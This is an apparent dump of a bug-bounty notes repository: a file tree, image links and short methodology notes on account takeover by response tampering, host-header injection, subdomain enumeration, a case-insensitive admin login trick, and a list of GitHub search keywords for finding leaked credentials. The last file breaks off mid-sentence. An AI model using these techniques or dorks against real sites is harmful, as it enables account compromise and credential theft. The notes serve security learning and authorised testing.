├── Notes ├── assets │ ├── ang.png │ ├── api.png │ ├── cie.png │ ├── crl.png │ ├── crt.png │ ├── env.png │ ├── es.png │ ├── es2.png │ ├── foo.png │ ├── jwt.png │ ├── poc.png │ ├── red.png │ ├── rpc.png │ ├── rpo.png │ ├── sso.png │ ├── tab.png │ ├── waf.png │ ├── xss.png │ ├── admin.png │ ├── alert.png │ ├── ang2.png │ ├── angjs.png │ ├── auth.png │ ├── brow.png │ ├── burp.png │ ├── burp2.png │ ├── burp3.png │ ├── cache.png │ ├── care.png │ ├── cares.png │ ├── cirr.png │ ├── code.png │ ├── csrf.png │ ├── cvuln.png │ ├── doce.png │ ├── dork.png │ ├── graph.png │ ├── hmac.png │ ├── idor.png │ ├── inse.png │ ├── json.png │ ├── jsonp.png │ ├── jwtio.png │ ├── mime.png │ ├── model.png │ ├── mongo.png │ ├── param.png │ ├── pathc.png │ ├── proc.png │ ├── reqa.png │ ├── resca.png │ ├── soap.png │ ├── sqli.png │ ├── sqli2.png │ ├── ssrf1.png │ ├── steps.png │ ├── subd.png │ ├── tab2.png │ ├── test.png │ ├── urlr.png │ ├── vuln.png │ ├── webs.png │ ├── websh.png │ ├── xml2.png │ ├── xmlp.png │ ├── xxs3.png │ ├── xxs4.png │ ├── adadmin.png │ ├── banner.gif │ ├── conval.png │ ├── dork-1.png │ ├── dork-2.png │ ├── dork-3.png │ ├── dork-4.png │ ├── dorking.png │ ├── finger.png │ ├── kub-api.png │ ├── revolver.png │ ├── subvul.png │ ├── verify.png │ ├── vulnsub.png │ ├── amass-asn.png │ ├── whois-cidr.png │ ├── cms-workflow.png │ ├── content-disc.png │ ├── cve-workflow.png │ ├── cloud-workflow.png │ ├── dns-mail-lookup.png │ ├── github-workflow.png │ ├── owasp-workflow.png │ ├── subdomain-enum.png │ ├── dns-server-lookup.png │ ├── domain-enumeration.png │ ├── exploit-workflow.png │ ├── brute-force-workflow.png │ ├── google-dork-workflow.png │ ├── traditional-workflow.png │ ├── leaked-creds-workflow.png │ ├── Screenshot at 2021-06-05 22-35-55.png │ └── Screenshot at 2021-06-10 20-07-24.png ├── README.md ├── Fingerprinting.md ├── Reconnaissance- Phase1.md ├── Methodology - Workflows.md ├── Caching Servers.md ├── API-Testing.md ├── Reconnaissance - Phase2.md ├── Exploitation Phase 1.md ├── Exploitation Phase 2.md └── Misc.md ├── Methodologies ├── assets │ ├── pswd1.png │ ├── xss1.png │ ├── xss2.png │ ├── xss3.png │ ├── xss4.png │ ├── xss5.png │ ├── xss6.png │ ├── paswd2.png │ └── pswd-reset.png ├── Misc.md ├── OAuth.md ├── Account-Takeover.md ├── README.md ├── Sensitive-Information-Disclosure.md ├── host-header.md ├── Subdomain-Enumeration-Tecniques.md ├── Authentication.md ├── xss.md └── password-reset-flaw.md ├── .obsidian ├── config ├── graph.json └── workspace ├── README.md ├── Payloads └── XSS-Payloads-1.txt └── LICENSE /Notes/assets/ang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/ang.png -------------------------------------------------------------------------------- /Notes/assets/api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/api.png -------------------------------------------------------------------------------- /Notes/assets/cie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cie.png -------------------------------------------------------------------------------- /Notes/assets/crl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/crl.png -------------------------------------------------------------------------------- /Notes/assets/crt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/crt.png -------------------------------------------------------------------------------- /Notes/assets/env.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/env.png -------------------------------------------------------------------------------- /Notes/assets/es.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/es.png -------------------------------------------------------------------------------- /Notes/assets/es2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/es2.png -------------------------------------------------------------------------------- /Notes/assets/foo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/foo.png -------------------------------------------------------------------------------- /Notes/assets/jwt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/jwt.png -------------------------------------------------------------------------------- /Notes/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/poc.png -------------------------------------------------------------------------------- /Notes/assets/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/red.png -------------------------------------------------------------------------------- /Notes/assets/rpc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/rpc.png -------------------------------------------------------------------------------- /Notes/assets/rpo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/rpo.png -------------------------------------------------------------------------------- /Notes/assets/sso.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/sso.png -------------------------------------------------------------------------------- /Notes/assets/tab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/tab.png -------------------------------------------------------------------------------- /Notes/assets/waf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/waf.png -------------------------------------------------------------------------------- /Notes/assets/xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xss.png -------------------------------------------------------------------------------- /Notes/assets/admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/admin.png -------------------------------------------------------------------------------- /Notes/assets/alert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/alert.png -------------------------------------------------------------------------------- /Notes/assets/ang2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/ang2.png -------------------------------------------------------------------------------- /Notes/assets/angjs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/angjs.png -------------------------------------------------------------------------------- /Notes/assets/auth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/auth.png -------------------------------------------------------------------------------- /Notes/assets/brow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/brow.png -------------------------------------------------------------------------------- /Notes/assets/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/burp.png -------------------------------------------------------------------------------- /Notes/assets/burp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/burp2.png -------------------------------------------------------------------------------- /Notes/assets/burp3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/burp3.png -------------------------------------------------------------------------------- /Notes/assets/cache.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cache.png -------------------------------------------------------------------------------- /Notes/assets/care.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/care.png -------------------------------------------------------------------------------- /Notes/assets/cares.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cares.png -------------------------------------------------------------------------------- /Notes/assets/cirr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cirr.png -------------------------------------------------------------------------------- /Notes/assets/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/code.png -------------------------------------------------------------------------------- /Notes/assets/csrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/csrf.png -------------------------------------------------------------------------------- /Notes/assets/cvuln.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cvuln.png -------------------------------------------------------------------------------- /Notes/assets/doce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/doce.png -------------------------------------------------------------------------------- /Notes/assets/dork.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork.png -------------------------------------------------------------------------------- /Notes/assets/graph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/graph.png -------------------------------------------------------------------------------- /Notes/assets/hmac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/hmac.png -------------------------------------------------------------------------------- /Notes/assets/idor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/idor.png -------------------------------------------------------------------------------- /Notes/assets/inse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/inse.png -------------------------------------------------------------------------------- /Notes/assets/json.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/json.png -------------------------------------------------------------------------------- /Notes/assets/jsonp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/jsonp.png -------------------------------------------------------------------------------- /Notes/assets/jwtio.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/jwtio.png -------------------------------------------------------------------------------- /Notes/assets/mime.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/mime.png -------------------------------------------------------------------------------- /Notes/assets/model.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/model.png -------------------------------------------------------------------------------- /Notes/assets/mongo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/mongo.png -------------------------------------------------------------------------------- /Notes/assets/param.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/param.png -------------------------------------------------------------------------------- /Notes/assets/pathc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/pathc.png -------------------------------------------------------------------------------- /Notes/assets/proc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/proc.png -------------------------------------------------------------------------------- /Notes/assets/reqa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/reqa.png -------------------------------------------------------------------------------- /Notes/assets/resca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/resca.png -------------------------------------------------------------------------------- /Notes/assets/soap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/soap.png -------------------------------------------------------------------------------- /Notes/assets/sqli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/sqli.png -------------------------------------------------------------------------------- /Notes/assets/sqli2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/sqli2.png -------------------------------------------------------------------------------- /Notes/assets/ssrf1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/ssrf1.png -------------------------------------------------------------------------------- /Notes/assets/steps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/steps.png -------------------------------------------------------------------------------- /Notes/assets/subd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/subd.png -------------------------------------------------------------------------------- /Notes/assets/tab2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/tab2.png -------------------------------------------------------------------------------- /Notes/assets/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/test.png -------------------------------------------------------------------------------- /Notes/assets/urlr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/urlr.png -------------------------------------------------------------------------------- /Notes/assets/vuln.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/vuln.png -------------------------------------------------------------------------------- /Notes/assets/webs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/webs.png -------------------------------------------------------------------------------- /Notes/assets/websh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/websh.png -------------------------------------------------------------------------------- /Notes/assets/xml2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xml2.png -------------------------------------------------------------------------------- /Notes/assets/xmlp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xmlp.png -------------------------------------------------------------------------------- /Notes/assets/xxs3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xxs3.png -------------------------------------------------------------------------------- /Notes/assets/xxs4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xxs4.png -------------------------------------------------------------------------------- /Notes/assets/adadmin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/adadmin.png -------------------------------------------------------------------------------- /Notes/assets/banner.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/banner.gif -------------------------------------------------------------------------------- /Notes/assets/conval.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/conval.png -------------------------------------------------------------------------------- /Notes/assets/dork-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-1.png -------------------------------------------------------------------------------- /Notes/assets/dork-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-2.png -------------------------------------------------------------------------------- /Notes/assets/dork-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-3.png -------------------------------------------------------------------------------- /Notes/assets/dork-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-4.png -------------------------------------------------------------------------------- /Notes/assets/dorking.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dorking.png -------------------------------------------------------------------------------- /Notes/assets/finger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/finger.png -------------------------------------------------------------------------------- /Notes/assets/kub-api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/kub-api.png -------------------------------------------------------------------------------- /Notes/assets/revolver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/revolver.png -------------------------------------------------------------------------------- /Notes/assets/subvul.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/subvul.png -------------------------------------------------------------------------------- /Notes/assets/verify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/verify.png -------------------------------------------------------------------------------- /Notes/assets/vulnsub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/vulnsub.png -------------------------------------------------------------------------------- /Notes/assets/amass-asn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/amass-asn.png -------------------------------------------------------------------------------- /Notes/assets/whois-cidr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/whois-cidr.png -------------------------------------------------------------------------------- /Methodologies/assets/pswd1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/pswd1.png -------------------------------------------------------------------------------- /Methodologies/assets/xss1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss1.png -------------------------------------------------------------------------------- /Methodologies/assets/xss2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss2.png -------------------------------------------------------------------------------- /Methodologies/assets/xss3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss3.png -------------------------------------------------------------------------------- /Methodologies/assets/xss4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss4.png -------------------------------------------------------------------------------- /Methodologies/assets/xss5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss5.png -------------------------------------------------------------------------------- /Methodologies/assets/xss6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss6.png -------------------------------------------------------------------------------- /Notes/assets/cms-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cms-workflow.png -------------------------------------------------------------------------------- /Notes/assets/content-disc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/content-disc.png -------------------------------------------------------------------------------- /Notes/assets/cve-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cve-workflow.png -------------------------------------------------------------------------------- /Methodologies/assets/paswd2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/paswd2.png -------------------------------------------------------------------------------- /Notes/assets/cloud-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cloud-workflow.png -------------------------------------------------------------------------------- /Notes/assets/dns-mail-lookup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dns-mail-lookup.png -------------------------------------------------------------------------------- /Notes/assets/github-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/github-workflow.png -------------------------------------------------------------------------------- /Notes/assets/owasp-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/owasp-workflow.png -------------------------------------------------------------------------------- /Notes/assets/subdomain-enum.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/subdomain-enum.png -------------------------------------------------------------------------------- /Methodologies/assets/pswd-reset.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/pswd-reset.png -------------------------------------------------------------------------------- /Notes/assets/dns-server-lookup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dns-server-lookup.png -------------------------------------------------------------------------------- /Notes/assets/domain-enumeration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/domain-enumeration.png -------------------------------------------------------------------------------- /Notes/assets/exploit-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/exploit-workflow.png -------------------------------------------------------------------------------- /Notes/assets/brute-force-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/brute-force-workflow.png -------------------------------------------------------------------------------- /Notes/assets/google-dork-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/google-dork-workflow.png -------------------------------------------------------------------------------- /Notes/assets/traditional-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/traditional-workflow.png -------------------------------------------------------------------------------- /Notes/assets/leaked-creds-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/leaked-creds-workflow.png -------------------------------------------------------------------------------- /Notes/assets/Screenshot at 2021-06-05 22-35-55.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/Screenshot at 2021-06-05 22-35-55.png -------------------------------------------------------------------------------- /Notes/assets/Screenshot at 2021-06-10 20-07-24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/Screenshot at 2021-06-10 20-07-24.png -------------------------------------------------------------------------------- /Notes/README.md: -------------------------------------------------------------------------------- 1 | # Bug Hunting Notes 2 | 3 | You can refer the [README.md](https://github.com/IamLucif3r/Bug-Hunting) of this repository for a proper index. 4 | -------------------------------------------------------------------------------- /.obsidian/config: -------------------------------------------------------------------------------- 1 | {"baseFontSize":16,"pluginEnabledStatus":{"file-explorer":true,"global-search":true,"switcher":true,"graph":true,"backlink":true,"page-preview":true,"command-palette":true,"markdown-importer":true,"word-count":true,"open-with-default-app":true,"file-recovery":true},"alwaysUpdateLinks":true} -------------------------------------------------------------------------------- /Methodologies/Misc.md: -------------------------------------------------------------------------------- 1 | # Miscellanious Tips 2 | --- 3 | 4 | ### 1. Takeover 5 | 1. A site having github logo 6 | 2. Example: Click on logo it'll show you git repo(http://github.com/site/) 7 | 3. In my case , It was 404 8 | Main part 9 | 4. Created git account with name of company , So it was like 10 | http://github.com/site/ 11 | --- 12 | 13 | ### 2. SSRF 14 | 1. -------------------------------------------------------------------------------- /Methodologies/OAuth.md: -------------------------------------------------------------------------------- 1 | # OAuth 2.0 2 | ### What is OAuth 2.0 ? 3 | - Authorization Framework 4 | - It enables a third party application to obtain limited access to a service. 5 | - Example: We come across Login with Facebook or Login with github buttons, on various websites, which hets an 'access_token' of the user from the facebook/github and uses the limited information from it to create an account 6 | - -------------------------------------------------------------------------------- /.obsidian/graph.json: -------------------------------------------------------------------------------- 1 | {"collapse-filter":true,"search":"","showTags":false,"showAttachments":false,"hideUnresolved":false,"showOrphans":true,"collapse-color-groups":true,"colorGroups":[],"collapse-display":true,"showArrow":false,"textFadeMultiplier":0,"nodeSizeMultiplier":1,"lineSizeMultiplier":1,"collapse-forces":true,"centerStrength":0.518713248970312,"repelStrength":10,"linkStrength":1,"linkDistance":250,"scale":1.0000000000000004,"close":false} -------------------------------------------------------------------------------- /Methodologies/Account-Takeover.md: -------------------------------------------------------------------------------- 1 | # Account Takeover 2 | ### Method -1 3 | 1. 1 account logged in 2 browsers 4 | 2. Tried signup with same account but showing email exist and redirect to signup page 5 | 3. In Firefox captured request of sign up submit >Do intercept > Response > Email exists 6 | 4. Response changed to E-mail available >302 found /dashboard. Account created 7 | 5. Change profile data 8 | 6. Refresh in chrome and data changed 9 | Note: I didn't mention some things because I want you to implement your logic and do it by yourself. -------------------------------------------------------------------------------- /Methodologies/README.md: -------------------------------------------------------------------------------- 1 | # Methodologies 2 | The Methodologies includes steps, to check the respective vulnerabilities. The following vulnerabilites are updated till now, many more methodologies for different vulnerabilities are being added. 3 | 4 | ## Contents: 5 | - [XSS](xss.md) 6 | - [Host-Header Injection](host-header.md) 7 | - [Password-Reset Flaws](password-reset-flaw.md) 8 | - [Authentication](Authentication.md) 9 | - [Account Takeover](Account-Takeover.md) 10 | - [Subdomain Enumeration](Subdomain-Enumeration-Tecniques.md) 11 | - [Sensitive Information Leaks](Sensitive-Information-Disclosure.md) 12 | - [Misc](Misc.md) 13 | -------------------------------------------------------------------------------- /Methodologies/Sensitive-Information-Disclosure.md: -------------------------------------------------------------------------------- 1 | # Sensitive Information Leaks 2 | 3 | Sensitive Information on Github can be searched using some keywords as follows: 4 | - "target.com" password 5 | - "target.com" secret 6 | - "target.com" credentials 7 | - "target.com" token 8 | - "target.com" config 9 | - "target.com" key 10 | - "target.com" pass 11 | - "target.com" login 12 | - "target.com" ftp 13 | - "target.com" pwd 14 | 15 | Some Successful Queries are: 16 | - "target.com" security_credentials <--- LDAP 17 | - "target.com" connectstring <--- Database Credentials 18 | - "target.com" JDBC <--- Database Credentials 19 | - "target.com" ssh2_auth_password <--- Unauthorized Access to servers 20 | - "target.com" send_keys or send,keys 21 | 22 | -------------------------------------------------------------------------------- /Methodologies/host-header.md: -------------------------------------------------------------------------------- 1 | # Host Header Injection 2 | 1. The first step is to check those pages, having Status code as: 3 | - 200 or 300 4 | - 201 or 301 5 | - 202 or 302 6 | - 203 or 303 7 | - 204 or 304 8 | 2. Intercept the request and send it to repeater. 9 | 1. First Method: Simply change the real Host to yahoo.com (it can be any website, in place of yahoo.com) and check if the webpage is being redirected or not. 10 | 2. Second Method: Change the host from realwebsite.com to google.com (or any other website) and set X-Forwarded-Host to realwebsite.com and check if the webpage is being redirected or not 11 | 3. Third Method: set X-Forwarded-Host to anywebsite.com and Host to realwebsite.com and check if it is getting refirected or not. 12 | --- 13 | 14 | -------------------------------------------------------------------------------- /Methodologies/Subdomain-Enumeration-Tecniques.md: -------------------------------------------------------------------------------- 1 | # Subdomain-Enumeration Tecniques 2 | - Sub-Domain Enumeration is the process of finding subdomains for one or more domain(s). 3 | - Why ? 4 | - Hidden & Forgotten Sub Domains may lead to uncovering the critical vulnerabilities. 5 | - Common Subdomain Enumeration Techniques: 6 | - Google Doriking 7 | - Using Specialized Searech Engine (e.g. VirusTotal) 8 | - Dictionary Based Enumeration 9 | - Sub-Domain Bruteforcing 10 | - Esoteric (Discussed Below) 11 | 12 | ## Techniques To be Covered: 13 | - Certificate Transparency 14 | - DNSSEC Zone Walking 15 | - DNS Zone Transfer 16 | - Passive Recon Using Public Datasets. 17 | 18 | ### 1. Certificate Transparency 19 | - Under CT, a Certificate Authority will have to publis all SSL/TLS certificates they issue in a public log. 20 | - Anyone can look throught the CT Logs and find the Certificates issued for the domain. 21 | - Website: https://www.certificate-transparency.org 22 | - All the SSL / TLS Certificates include the informations about the Subdomains, and all important information about a domain. 23 | - How to search ? 24 | - https://crt.sh/ 25 | - https://censys.io/ 26 | - https://google.com/transparencyreport/https/ct/ 27 | 28 | --- 29 | -------------------------------------------------------------------------------- /Methodologies/Authentication.md: -------------------------------------------------------------------------------- 1 | # Authentication - Misconfigurations 2 | 3 | ### 1. Session Based Exploitation 4 | - When you create a user, the application will check programmatically that the user does not exist by comparing the username provided with the existing user. 5 | - When you log in, the application will check that your username and password are correct, and then it will save your username in your session. 6 | - Finally, every time you will access the application, the application will retrieve your user's details based on the username provided in the session. 7 | - Tip: The trick here comes from the fact that the comparison when you create a user is done programmatically (i.e.: in Ruby) but when the user's details get retrieved, the comparison is done by the database. By default, MySQL (with the type `VARCHAR`) will perform a case insensitive comparison: "admin" and "Admin" are the same value. 8 | 9 | - You can try logging in as "admin" or somthing similar by abusing the Case, and check if you can gain access. 10 | - If the user 'admin\[space\]' exists, you can add more spaces after 'admin' 11 | 12 | ### 2. Account Takeover Through Unvalidated Security Question Reset 13 | Applicable for Password Reset Pages with Security Question. It is a flaw where Attacker can reset the Victim's account through security question & Parameter Tampering. 14 | - Go to the Password Reset Page. 15 | - Intercept the Security Question page in Burp. 16 | - If the security question is being passed as a parameter, try adding a new question and an answer of any 